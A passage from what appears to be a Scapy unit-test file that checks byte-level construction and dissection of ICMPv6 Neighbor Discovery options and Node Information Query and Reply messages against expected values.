and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ############ ############ + ICMPv6NDOptIPAddr Class Test (RFC 4068) = ICMPv6NDOptIPAddr - Basic Instantiation raw(ICMPv6NDOptIPAddr()) == b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptIPAddr - Instantiation with specific values raw(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptIPAddr - Basic Dissection a=ICMPv6NDOptIPAddr(b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::" = ICMPv6NDOptIPAddr - Dissection with specific values a=ICMPv6NDOptIPAddr(b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111" ############ ############ + ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068) = ICMPv6NDOptNewRtrPrefix - Basic Instantiation raw(ICMPv6NDOptNewRtrPrefix()) == b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptNewRtrPrefix - Instantiation with specific values raw(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptNewRtrPrefix - Basic Dissection a=ICMPv6NDOptNewRtrPrefix(b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::" = ICMPv6NDOptNewRtrPrefix - Dissection with specific values a=ICMPv6NDOptNewRtrPrefix(b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111" ############ ############ + ICMPv6NDOptLLA Class Test (RFC 4068) = ICMPv6NDOptLLA - Basic Instantiation raw(ICMPv6NDOptLLA()) == b'\x13\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptLLA - Instantiation with specific values raw(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == b'\x13\x02\x03\xff\x11\xff\x11\xff\x11' = ICMPv6NDOptLLA - Basic Dissection a=ICMPv6NDOptLLA(b'\x13\x01\x00\x00\x00\x00\x00\x00\x00') a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00" = ICMPv6NDOptLLA - Dissection with specific values a=ICMPv6NDOptLLA(b'\x13\x02\x03\xff\x11\xff\x11\xff\x11') a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11" ############ ############ + ICMPv6NDOptRouteInfo Class Test = ICMPv6NDOptRouteInfo - Basic Instantiation raw(ICMPv6NDOptRouteInfo()) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length raw(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4) raw(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4) raw(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4) raw(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4) raw(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Instantiation with specific values raw(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == b'\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Basic dissection a=ICMPv6NDOptRouteInfo(b'\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::" = ICMPv6NDOptRouteInfo - Dissection with specific values a=ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" = ICMPv6NDOptRouteInfo - Summary Output ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01').mysummary() == "ICMPv6 Neighbor Discovery Option - Route Information Option 2001:db8::1/17 Preference Low" ############ ############ + ICMPv6NDOptMAP Class Test = ICMPv6NDOptMAP - Basic Instantiation raw(ICMPv6NDOptMAP()) == b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptMAP - Instantiation with specific values raw(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptMAP - Basic Dissection a=ICMPv6NDOptMAP(b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::" = ICMPv6NDOptMAP - Dissection with specific values a=ICMPv6NDOptMAP(b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111" ############ ############ + ICMPv6NDOptRDNSS Class Test = ICMPv6NDOptRDNSS - Basic Instantiation raw(ICMPv6NDOptRDNSS()) == b'\x19\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == b'\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Instantiation with specific values raw(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == b'\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Basic Dissection a=ICMPv6NDOptRDNSS(b'\x19\x01\x00\x00\xff\xff\xff\xff') a.type==25 and a.len==1 and a.res == 0 and a.dns==[] = ICMPv6NDOptRDNSS - Dissection (with 1 DNS address) a=ICMPv6NDOptRDNSS(b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1" = ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses) a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2" = ICMPv6NDOptRDNSS - Summary Output a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.mysummary() == "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option 2001:db8::1, 2001:db8::2" ############ ############ + ICMPv6NDOptDNSSL Class Test = ICMPv6NDOptDNSSL - Basic Instantiation raw(ICMPv6NDOptDNSSL()) == b'\x1f\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptDNSSL - Instantiation with 1 search domain, as seen in the wild raw(ICMPv6NDOptDNSSL(lifetime=60, searchlist=["home."])) == b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 2 search domains raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office."])) == b'\x1f\x03\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 3 search domains raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office.", "here.there."])) == b'\x1f\x05\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x04here\x05there\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic Dissection p = ICMPv6NDOptDNSSL(b'\x1f\x01\x00\x00\xff\xff\xff\xff') p.type == 31 and p.len == 1 and p.res == 0 and p.searchlist == [] = ICMPv6NDOptDNSSL - Basic Dissection with specific values p = ICMPv6NDOptDNSSL(b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00') p.type == 31 and p.len == 2 and p.res == 0 and p.lifetime == 60 and p.searchlist == ["home."] = ICMPv6NDOptDNSSL - Summary Output ICMPv6NDOptDNSSL(searchlist=["home.", "office."]).mysummary() == "ICMPv6 Neighbor Discovery Option - DNS Search List Option home., office." ############ ############ + ICMPv6NDOptEFA Class Test = ICMPv6NDOptEFA - Basic Instantiation raw(ICMPv6NDOptEFA()) == b'\x1a\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptEFA - Basic Dissection a=ICMPv6NDOptEFA(b'\x1a\x01\x00\x00\x00\x00\x00\x00') a.type==26 and a.len==1 and a.res == 0 ############ ############ + Test Node Information Query - ICMPv6NIQueryNOOP = ICMPv6NIQueryNOOP - Basic Instantiation raw(ICMPv6NIQueryNOOP(nonce=b"\x00"*8)) == b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIQueryNOOP - Basic Dissection a = ICMPv6NIQueryNOOP(b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b"\x00"*8 and a.data == b"" ############ ############ + Test Node Information Query - ICMPv6NIQueryName = ICMPv6NIQueryName - single label DNS name (internal) a=ICMPv6NIQueryName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryName - single label DNS name ICMPv6NIQueryName(data="abricot").data == b"abricot" = ICMPv6NIQueryName - fqdn (internal) a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryName - fqdn ICMPv6NIQueryName(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryName - IPv6 address (internal) a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryName - IPv6 address ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryName - IPv4 address (internal) a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryName - IPv4 address ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252' = ICMPv6NIQueryName - build & dissection s = raw(IPv6()/ICMPv6NIQueryName(data="n.d.org")) p = IPv6(s) ICMPv6NIQueryName in p and p[ICMPv6NIQueryName].data == b"n.d.org" = ICMPv6NIQueryName - dissection s = b'\x8b\x00z^\x00\x02\x00\x00\x00\x03g\x90\xc7\xa3\xdd[\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = ICMPv6NIQueryName(s) p.show() assert ICMPv6NIQueryName in p and p.data == "ff02::1" ############ ############ + Test Node Information Query - ICMPv6NIQueryIPv6 = ICMPv6NIQueryIPv6 - single label DNS name (internal) a = ICMPv6NIQueryIPv6(data="abricot") ls(a) a = a.getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv6 - single label DNS name ICMPv6NIQueryIPv6(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv6 - fqdn (internal) a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv6 - fqdn ICMPv6NIQueryIPv6(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv6 - IPv6 address (internal) a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv6 - IPv6 address ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv6 - IPv4 address (internal) a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv6 - IPv4 address ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252' ############ ############ + Test Node Information Query - ICMPv6NIQueryIPv4 = ICMPv6NIQueryIPv4 - single label DNS name (internal) a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv4 - single label DNS name ICMPv6NIQueryIPv4(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv4 - fqdn (internal) a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv4 - fqdn ICMPv6NIQueryIPv4(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv4 - IPv6 address (internal) a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv4 - IPv6 address ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv4 - IPv4 address (internal) a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv4 - IPv4 address ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252' = ICMPv6NIQueryIPv4 - dissection s = b'\x8b\x01\x00\x00\x00\x04\x00\x00\xc2\xb9\xc2\x96\xc3\xa1.H\x07freebsd\x00\x00' p = ICMPv6NIQueryIPv4(s) p.show() assert ICMPv6NIQueryIPv4 in p and p.data == b"freebsd" = ICMPv6NIQueryIPv4 - hashret() random.seed(0x2807) p = IPv6(src="::", dst="::")/ICMPv6NIQueryIPv4(data="freebsd") h = p.hashret() h assert h in [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:g\x02f1\xbd?\xb3\xc4', b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x88\xccb\x19~\x9e\xe3a', b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:$#\xb5\xb7\xd0\xbf \xe2' ] ############ ############ + Test Node Information Query - Flags tests = ICMPv6NIQuery* - flags handling (Test 1) t = ICMPv6NIQueryIPv6(flags="T") a = ICMPv6NIQueryIPv6(flags="A") c = ICMPv6NIQueryIPv6(flags="C") l = ICMPv6NIQueryIPv6(flags="L") s = ICMPv6NIQueryIPv6(flags="S") g = ICMPv6NIQueryIPv6(flags="G") allflags = ICMPv6NIQueryIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIQuery* - flags handling (Test 2) t = raw(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8] a = raw(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8] c = raw(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8] l = raw(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8] s = raw(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8] g = raw(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8] allflags = raw(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F' = ICMPv6NIReply* - flags handling (Test 1) t = ICMPv6NIReplyIPv6(flags="T") a = ICMPv6NIReplyIPv6(flags="A") c = ICMPv6NIReplyIPv6(flags="C") l = ICMPv6NIReplyIPv6(flags="L") s = ICMPv6NIReplyIPv6(flags="S") g = ICMPv6NIReplyIPv6(flags="G") allflags = ICMPv6NIReplyIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIReply* - flags handling (Test 2) t = raw(ICMPv6NIReplyNOOP(flags="T", nonce="A"*8))[6:8] a = raw(ICMPv6NIReplyNOOP(flags="A", nonce="A"*8))[6:8] c = raw(ICMPv6NIReplyNOOP(flags="C", nonce="A"*8))[6:8] l = raw(ICMPv6NIReplyNOOP(flags="L", nonce="A"*8))[6:8] s = raw(ICMPv6NIReplyNOOP(flags="S", nonce="A"*8))[6:8] g = raw(ICMPv6NIReplyNOOP(flags="G", nonce="A"*8))[6:8] allflags = raw(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F' = ICMPv6NIQuery* - Flags Default values a = ICMPv6NIQueryNOOP() b = ICMPv6NIQueryName() c = ICMPv6NIQueryIPv4() d = ICMPv6NIQueryIPv6() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62 = ICMPv6NIReply* - Flags Default values a = ICMPv6NIReplyIPv6() b = ICMPv6NIReplyName() c = ICMPv6NIReplyIPv6() d = ICMPv6NIReplyIPv4() e = ICMPv6NIReplyRefuse() f = ICMPv6NIReplyUnknown() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0 # Nonces # hashret and answers # payload guess # automatic destination address computation when integrated in scapy6 # at least computeNIGroupAddr ############ ############ + Test Node Information Query - Dispatching = ICMPv6NIQueryIPv6 - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryName - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv4 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryIPv4 - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIReplyName - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyName) = ICMPv6NIReplyIPv6 - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv6) = ICMPv6NIReplyIPv4 - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv4) = ICMPv6NIReplyRefuse - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyRefuse) = ICMPv6NIReplyUnknown - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyUnknown) ############ ############ + Test Node Information Query - ICMPv6NIReplyNOOP = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"abricot" = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string ICMPv6NIReplyNOOP(data="abricot").data == b"abricot" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"n.d.tld" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string ICMPv6NIReplyNOOP(data="n.d.tld").data == b"n.d.tld" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="2001:0db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string ICMPv6NIReplyNOOP(data="2001:0db8::1").data == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="169.254.253.010").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"169.254.253.010" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string ICMPv6NIReplyNOOP(data="169.254.253.010").data == b"169.254.253.010" ############ ############ + Test Node Information Query - ICMPv6NIReplyName = ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) (internal) a=ICMPv6NIReplyName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00' = ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) ICMPv6NIReplyName(data="abricot").data == [0, b"abricot"] = ICMPv6NIReplyName - fqdn name as a rawing (without ttl) (internal) a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - fqdn name as a rawing (without ttl) ICMPv6NIReplyName(data="n.d.tld").data == [0, b'n.d.tld'] = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal) a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00' = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, b"abricot", b"poire"] = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal) a=ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).data == [42, b"abricot", b"poire", b"n.d.tld"] = ICMPv6NIReplyName - dissection s = b'\x8c\x00\xd1\x0f\x00\x02\x00\x00\x00\x00\xd9$\x94\x8d\xc6%\x00\x00\x00\x00\x07freebsd\x00\x00' p = ICMPv6NIReplyName(s) p.show() assert ICMPv6NIReplyName in p and p.data == [0, b'freebsd'] ############ ############ + Test Node Information Query - ICMPv6NIReplyIPv6 = 